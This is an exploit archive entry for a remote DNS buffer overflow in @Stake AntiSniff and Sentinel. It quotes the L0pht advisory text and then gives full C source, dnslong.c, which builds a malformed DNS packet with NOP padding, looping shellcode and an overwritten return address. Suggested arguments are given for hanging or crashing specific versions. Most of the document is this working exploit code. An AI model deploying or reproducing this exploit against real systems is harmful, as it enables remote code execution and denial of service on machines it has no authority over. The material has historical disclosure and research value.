Stake AntiSniff 1.0.1/Researchers 1.0 - DNS Overflow (1)

// source: https://www.securityfocus.com/bid/1207/info

Certain versions of @Stake Inc.'s Antisniffer software contain a remotely exploitable buffer overflow. AntiSniff is a program that was released by L0pht Heavy Industries in July of 1999. It attempts, through a number of tests, to determine if a machine on a local network segment is listening to traffic that is not directed to it (commonly referred to as sniffing). During one particular test there is a problem if a packet that does not adhere to DNS specifications is sent to the AntiSniff machine. This can result in a buffer overflow on the system running AntiSniff. If the packet is crafted appropriately this overflow scenario can be exploited to execute arbitrary code on the system.

This scenario is only possible if AntiSniff is configured to run the DNS test and only during the time the test is running. Nonetheless, it is a vulnerability that should not be ignored and has even been found in other promiscuous mode detection programs as well.

NOTE: 

This information was taken verbatim from the L0pht advisory on the subject. This advisory is attached in full in the 'Credit' section of this advisory.

/* dnslong.c by Hugo Breton ([email protected])

   This program must be run in the DNS test phase of Sentinel and Anti Sniff.
   It illustrates how code can be run remotely on a Win98 machine running Anti
   Sniff.

   Suggested arguments are:
   
   "dnslong host 5 65" to send the Windows 98 version of Anti Sniff in an
   infinite loop.
   "dnslong host 2 255" to segfault the oBSD version of Anti Sniff.
   "dnslong host 1 255" to segfault Sentinel.
*/


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

int main(int argc,char * * argv)
{
        char p[1024];
        int sock,i,j,k,len,labelnum,labellen;
        struct sockaddr_in sin;
        struct hostent * hoste;

        printf("dnslong.c by Hugo Breton ([email protected])\n");

        if(argc<4)
        {
                printf("usage: %s host label_count label_length\n",argv[0]);
                return(0);
        }

        bzero((void *) &sin,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(53);

        if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                if((hoste=gethostbyname(argv[1]))==NULL)
                {
                        printf("unknown host %s\n",argv[1]);
                        return(0);
                }
                
                bcopy(hoste->h_addr,&sin.sin_addr.s_addr,4);
        }

        labelnum=atoi(argv[2]);
        labellen=atoi(argv[3]);

        len=labelnum*(labellen+1)+5+12;

        if(len>1024)
        {
                printf("resulting packet will be too long\n");
                return(0);
        }

        bzero((void *) p,1024);
        * ((unsigned short *) (p+0))=htons(867-5309);
        * ((unsigned short *) (p+4))=htons(1);
        
        for(i=12,j=0;j<labelnum;j++)
        {
                * ((unsigned char *) (p+(i++)))=labellen;

                for(k=0;k<labellen;k++,i++)
                {
                        * ((unsigned char *) (p+i))=0x90;
                }
                
                * ((unsigned char *) (p+i-2))=0xeb; /* jmp $-2 */
                * ((unsigned char *) (p+i-1))=0xfe; /* just make it loop */
        }

        * ((unsigned char *) (p+269))=0x20;
        * ((unsigned char *) (p+270))=0xff;
        * ((unsigned char *) (p+271))=0x87; 
        * ((unsigned char *) (p+272))=0x01; /* new EIP */

        * ((unsigned char *) (p+(i++)))=0;

        * ((unsigned short *) (p+i))=htons(1);
        * ((unsigned short *) (p+i+2))=htons(1);

        if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
        {
                printf("unable to create UDP socket\n");
                return(0);
        }

        if(sendto(sock,p,len,0,(struct sockaddr *) &sin,sizeof(sin))==-1)
        {
                printf("unable to send packet\n");
                return(0);
        }

        printf("packet sent to host %s\n",argv[1]);

        return(0);
}